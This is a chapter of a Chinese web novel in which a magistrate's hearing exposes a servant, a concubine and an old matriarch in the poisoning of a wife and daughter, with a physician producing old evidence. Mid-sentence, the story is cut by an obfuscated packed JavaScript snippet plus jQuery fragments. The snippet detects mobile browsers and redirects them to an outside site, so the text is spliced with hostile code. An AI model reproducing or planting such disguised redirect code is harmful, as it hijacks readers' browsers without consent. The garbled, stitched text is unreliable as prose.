第一百五十五章 当年真相

作品:《替身嫡谋

    “李狗儿已经招供,姜妈妈以二十两银子,朝他购买山货一担!内含断肠草半斤、芦蒿十五斤、新鲜山菌十五斤。”孙府尹身边的师爷一开始就把进度全说了,然后孙府尹说,“李大人,这山货最多价值百八十铜子,以这样的价格买卖,李狗儿说他问得清楚,这妈妈让他不许多问,想来确实是蓄意谋害。”


    李珺立刻眼圈发红,拱手说:“家门不幸,让大人见笑了。”


    “姜妈妈,你蓄意谋害主子、致使李婉玉**惨死,你可认?”孙府尹看李珺没有异议,便对跪着的姜妈妈问,又提醒,“你要如实作答,谋害主子,可是要杀头的大罪!”


    “老婆子只是与大姑娘起了口角,而后想吓唬大姑娘而已,老婆子也没想到大姑娘会死啊!”姜妈妈跪在地上,流下眼泪,说,“老婆子也不知道庄子上的厨子竟然连断肠草都看不出来,还做给大姑娘吃了啊!”


    看来这两日,姜妈妈得了高人指点。


    毕竟蓄意**主子,无论如何都要杀头,但是若不是故意的,便情有可原,最严惩也就是流放。若是有人照拂,说是流放,其实指不定过的也不会太差。


    关怀素立刻笑了一声,冷声开口:“原来如此,姜妈妈真是有闲情逸致,你指使人花了两三百两,加上李狗儿的二十两,这应该是姜妈妈的毕生积蓄吧?姜妈妈花了毕生积蓄,就为了吓唬一下我姐姐?那如此说来,家里这十几年,竟没有任何人与姜妈妈吵过嘴,否则姜妈妈这一辈子积蓄也够不了吓唬几次人吧?”


    在场之人立刻反应过来,孙府尹也立刻呵斥,说:“你花费一辈子的积蓄,就为了吓唬人?你当大家都是傻子不成?你分明就是怀恨在心,蓄意**!”


    这话一出,姜妈妈立刻心中发冷,知道自己怕是逃不过了。


    “可惜了,姜妈妈为了一时之气,一辈子辛辛苦苦,临了被**,说不得连收尸的人都没有,到时候横尸菜市口,为野狗吞噬,尸首不全,下辈子连投胎都不成了……”关怀素还没说话,今儿好容易好些,陪着一起上公堂的丁妈妈却突然阴阳怪气地开口。


    丁妈妈这一开口,姜妈妈登时浑身一抖,猛然发疯一般转头破口大骂:“你胡说!我没做什么亏心事,凭什么会尸首不全!我家小娘会给我收尸的!”


    “崔妙人谋害主母,自个儿还不知道会不会死呢!”丁妈妈也骂回去,说,“你等着二姑娘和大少爷有没有空给你收尸,看看你会不会尸首不全,下辈子你猪狗都投不了,变作牛马天天给人驱使,再也不能投胎成人了!”


    “你胡说!你胡说!”一直非常冷静的姜妈妈却突然疯了一样,气急败坏地大骂完,还转头对崔妙人哀求,说,“小娘,小娘你会替我收尸的对吧?小娘,我也是为了小娘死的,你一定会安排人给我收尸的对不对?!”


    别说在场之人都惊呆了,哪怕是关怀素都没想到这一出,看得目瞪口呆。


    孙府尹更是发现了突破口,立刻一拍惊堂木,说:“崔妙人要看押再审,但是你今日承认,后日便是斩首的日子,你乃是罪奴,不许李家替你收尸!死后便丢于乱葬岗便是!”


    孙府尹的话在姜妈妈心中无异于金口玉言,登时姜妈妈就突然疯了,猛地大声说:“我不要,不是我!我是受了老夫人的指派才去办这事儿的!不是我要杀大姑娘!”


    此言一出,众人轰然而惊!


    “我好像来迟了?”正乱成一团的时候,衙门门口,一道清朗的中年男人声音迟疑地问。


    众人都一回头,便看到一个穿着黑色文士衫的男人入内,他整个人瞧着乱糟糟的,手臂还挂在胸口,用夹板固定住。


    而且他脸上还有血痕,头发也是十分散乱。


    此人十分狼狈,但是走入严肃哭泣大闹的公堂,却还带着点作客一般的嬉笑,入内之后,对着关怀素点点头,说:“嗐,大侄女!”


    又说:“第一次见面,叔叔没有别的礼物,便先赶着回来,给你做个证人!”


    看到来福护送在此人身边的时候,关怀素就猜到了此人的身份,此刻听到他果然打招呼,登时激动地站起来,立刻问安:“闵叔叔,多谢你及时赶回来!”


    闵志杰点点头,笑着说:“这是自然的,毕竟上回我回京的时候,你姐姐还跟我说,她好像查到你母亲的死有点猫腻……所以,她当时交给我一个东西。”


    闵志杰后面那句话,却是对着李珺说的。


    他用一种极其冷漠又压着愤怒的语气说:“李大人,当初你从王相家里求来的姜黄,根本一点也没用在关娘子身上,对不对?”


    “闵大人,此话何意?”李珺也站起来,一脸愤怒地说,“当时我亲手求回来药,马上就拿去入药了!”


    “哦?那为何婉玉在你母亲房里找到了这一盒没用过的姜黄?”闵志杰冷冷地从怀里掏出一个盒子,说,“这上头有印刻,大人可以查看,我前几年回京的时候,是我那侄女亲手交给我的!”


    关怀素都不知道还有这回事,她只知道姐姐在调查母亲的死因,却没想到那时候姐姐就查到了这么重要的证据,还亲手交给了闵叔叔!


    难怪老夫人那么容不得姐姐,只怕老夫人也察觉到了姐姐在查当**情!


    关怀素想到这里,心中对姐姐思念又悲伤,眼圈不由得发红了。


    “这、这确实是王相家的私刻。”孙府尹检查了一下,看向李珺,说,“李大人,这到底是怎么回事?”


    “我、我亦不知啊!”李珺闻言,登时也大惊失色,说,“是不是用完之后,我家又采购了新的,我那女儿不知道……”


    “李大人,五十年份以上的姜黄,哪家店里若是卖出去,都会有记录,你能交出来家中采买记录吗?”闵志杰冷声说,“何况每个郎中炮制药物的手法都不一样,这份姜黄明显就是早年仁心堂老掌柜的手艺!他老人家都走了多少年,还能教你再买到他手里出来的新药?!”


    闵志杰乃是太医,他说的这种细节,还真是旁人都不知道!


    此事说到这里,证据板上钉钉,当初定然是有人换了关娘子的药!


    “李大人,这药既然在李家老夫人房里,关娘子当初吃的又是哪里的药?”孙府尹便立刻问李珺,“李大人,当初你求药之后,到底发生了什么事情,麻烦你细细道来。”


    话说到这里,李珺登时面色凝重。


    他知道,此时他说出的名字,便是谋害发妻之人!


    若是说出母亲的名字,李老夫人谋害儿媳,可是天大的丑闻!出了这等事,他的品行亦会受到质疑,只怕官路就要断掉了!


    李珺看了一下跪在地上的崔妙人,露出悲伤愧疚之色,崔妙人立刻意识到了不好,果然下一刻就听到李珺说:“我当时回来,心力交瘁,便把药先交给了妙人,让她赶紧送给我娘。”


    “你当时没有交给管家或是老夫人,而是交给了小娘?”孙府尹心中冷笑,立刻追问。


    “让大人见笑了,当时我娘子在庄子上养胎时,家里暂时由崔氏管着。”李珺艰难地说,脸上火辣辣的,“我娘子回家之后也


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16522335|181019||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一直在生病,崔氏便一直帮着管理小事,也是想让她安心养病。”


    说是这么说,但是大户人家里,大多生产的时候都是身边贴身妈妈帮着,哪家轮到小娘做主了?


    但是众人都没出声,孙府尹便问崔小娘:“崔氏,你有什么话说?”


    崔妙人能有什么话说?


    她全身都是冷汗,脑子疯狂转动。


    事情到了这个时候,李珺铁了心要把事情丢给她,她若是不接,日后李家便再也没有她容身之地了!


    文哥儿还没长大呢!


    崔妙人咬牙,含泪看了一眼躲闪的李珺,心中悲痛难言,但是却依然说:“回大人,妾身、妾身当日确实扣下了这姜黄,只是妾室只是贪财,换了年份不好的,并不敢谋害主母!”


    她说着流下泪来,也不知是为了自己,还是为了多年前那个宁可为了珺哥哥死的小姑娘。


    “不可能!这是我离京之前记录的关娘子脉案和药方,我当时安心离京,就是因为我知道关娘子将养得当,绝对没有危险,所以才放心离开京师!”闵太医从怀里又掏出一叠纸来,怒声说,“当日关娘子出事,我得知之后已经过了好几年,当时我心中还十分疑惑,前几年回来时我就拿这事儿问过李家人,结果李珺你跟我说,说关娘子因为家里事情悲伤太过,不肯吃药,我还当真了!”


    闵太医怒声说:“若是按时吃药,关娘子下红早止住了,我想要五十年以上的姜黄只是为了药效更好温养,早些彻底好起来,那时候关娘子可没有生命危险!当日我走的时候还与她笑谈,说她还眼巴巴让李珺和她立誓,约定若是不测、嫁妆给女儿,实在是杞人忧天……”


    说到这里,闵志杰露出难过之色。


    这就是大家都不知道的事情了。


    关怀素也一直以为当初阿娘病得很凶,所以才会大张旗鼓地求药,才会病逝。


    如果、如果阿娘当时都快好了,那就是生生被人下药而死的啊!


    关怀素想到这里,眼泪登时又出来了。


    而孙府尹翻看脉案,登时脸色也沉了下来。


    他看着崔妙人,说:“闵太医这脉案显示,当初关娘子已经快大好,她下红之症早已经止住。你换了她的药,才是破血而死的主因,你谋害主母,罪当杀!崔氏,你可认罪?!”


    崔妙人没想到还有这等事情,惊慌失措,她哪里肯死,哪里想死啊?


    她立刻哭着看向李珺,说:“珺郎,救命,救命啊!”


    “大人,崔氏只是换了药效不好的药,她罪不至死啊!”李珺登时也急了,连忙开口。


    “若只是换药,按脉案所显示,关娘子应当无事!”孙府尹立刻说,“此事与赵二夫人毒害通房娟儿是一个症状,赵二夫人,你是从何得知这方法?”


    一直沉默的婉淑,她从来公堂之后,就一直与赵二郎一起躲在人群后面。


    这时候被点到,她登时浑身一抖。


    关怀素抬头看过去,便看到她脸色发白,盘着妇人发髻,一脸的仓皇。


    但是她很快露出了坚毅之色。


    关怀素有些紧张,她觉得按照情理,婉淑应该会顺手掐死崔妙人,毕竟她与西院斗了十几年,绝无什么好处。


    可崔妙人在家里十几年,与孙大娘子知根知底,婉淑会不会投鼠忌器,不敢说出真相?


    关怀素心中担忧,紧张地看着。


    “回大人,我、我是自小娘那边偷听到的。”婉淑一开口,崔妙人眼睛登时恶狠狠地瞪过去!